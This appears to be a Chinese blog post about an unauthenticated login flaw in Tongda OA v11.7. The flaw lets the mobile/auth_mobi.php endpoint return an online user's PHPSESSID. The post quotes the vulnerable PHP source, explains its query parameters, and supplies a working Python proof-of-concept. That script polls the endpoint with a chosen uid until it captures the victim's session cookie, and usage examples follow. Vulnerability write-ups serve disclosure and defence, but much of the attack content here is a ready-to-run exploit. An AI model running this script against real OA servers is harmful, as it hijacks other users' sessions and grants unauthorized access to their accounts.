通达OA v11.7 在线用户登录漏洞附自写poc


本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法,及自己写的poc。


# 一、漏洞描述

通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞,无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。

二、漏洞影响

通达OA < v11.7

三、漏洞复现

通达oa的源码需要使用SeayDzend解密
定位到漏洞文件 \webroot\mobile\auth_mobi.php
代码比较少就直接贴出来:

<?php

function relogin()
{
	echo _("RELOGIN");
	exit();
}

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility.php";
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
	$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
	$cursor = exequery(TD::conn(), $sql);

	if ($row = mysql_fetch_array($cursor)) {
		$P = $row["SID"];
	}
}

if ($P == "") {
	$P = $_COOKIE["PHPSESSID"];

	if ($P == "") {
		relogin();
		exit();
	}
}

if (preg_match("/[^a-z0-9;]+/i", $P)) {
	echo _("非法参数");
	exit();
}

if (strpos($P, ";") !== false) {
	$MY_ARRAY = explode(";", $P);
	$P = trim($MY_ARRAY[1]);
}

session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
	relogin();
}

?>

看13行代码这里,url后面跟上三个参数,

  1. isAvatar=1
  2. uid 不为空,需要查谁就填对应用户的uid
  3. P_VER 不为空 表示登录设备类型

17行代码这里会返回SID字段,也就是session id
22行这里判断返回的sid字段为空时,获取当前在线用户的PHPSESSID赋值(不在线返回空)给 P
如果 P 还是为空就调用relogin() 输出 RELOGIN

如果查询返回的sid字段不回空,并赋值给P
41行代码会将P设置为会话ID
这样我们就得到了header中Set-Cookie值
在这里插入图片描述
在线时:
在这里插入图片描述
不在线时:

在这里插入图片描述

四、漏洞利用POC

无限循环发起请求,获取到PHPSESSID自动停止

import requests
import sys
import re
import time

def poc(url,uid):
    url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'
    while True:
        res = requests.get(url)
        if res.status_code == 200:
            if res.text == '':
                cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))
                print('[+]目标在线,PHPSESSID=' + cookies[0])
                break
            if 'RELOGIN' in res.text:
                print('[+]目标用户不在线')
        time.sleep(2)
def main(argv):
    print('------------------------------------------')
    print('[+]适用版本:通达OA 11.7 ')
    print('[+]使用格式: python3 poc.py url uid')
    print('------------------------------------------')
    poc(argv[0],argv[1])
        
if __name__ == '__main__':
    main(sys.argv[1:])

使用方法:python3 .\1.py ip uid
例如:python3 .\1.py http://192.168.230.130 12
在这里插入图片描述

五、总结

下载地址:通达oa 11.7下载链接

有什么不对的地方,请大佬们指出

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值